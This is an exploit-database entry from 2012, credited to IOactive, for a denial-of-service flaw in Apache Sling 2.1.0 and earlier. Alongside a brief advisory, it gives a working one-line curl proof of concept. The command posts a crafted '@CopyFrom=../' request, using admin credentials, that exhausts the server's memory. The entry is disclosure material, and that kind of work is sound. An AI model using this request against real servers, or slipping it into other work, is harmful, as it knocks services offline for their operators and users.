Apache Sling – Denial of Service

  • 作者: IOactive
    日期: 2012-07-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37487/
  • source: https://www.securityfocus.com/bid/54341/info
    
    Apache Sling is prone to a denial-of-service vulnerability.
    
    An attacker can exploit this issue to exhaust available memory, resulting in a denial-of-service condition.
    
    Apache Sling 2.1.0 and prior are vulnerable. 
    
     curl -u admin:pwd -d "" "http://example.com/content/foo/?./%40CopyFrom=../"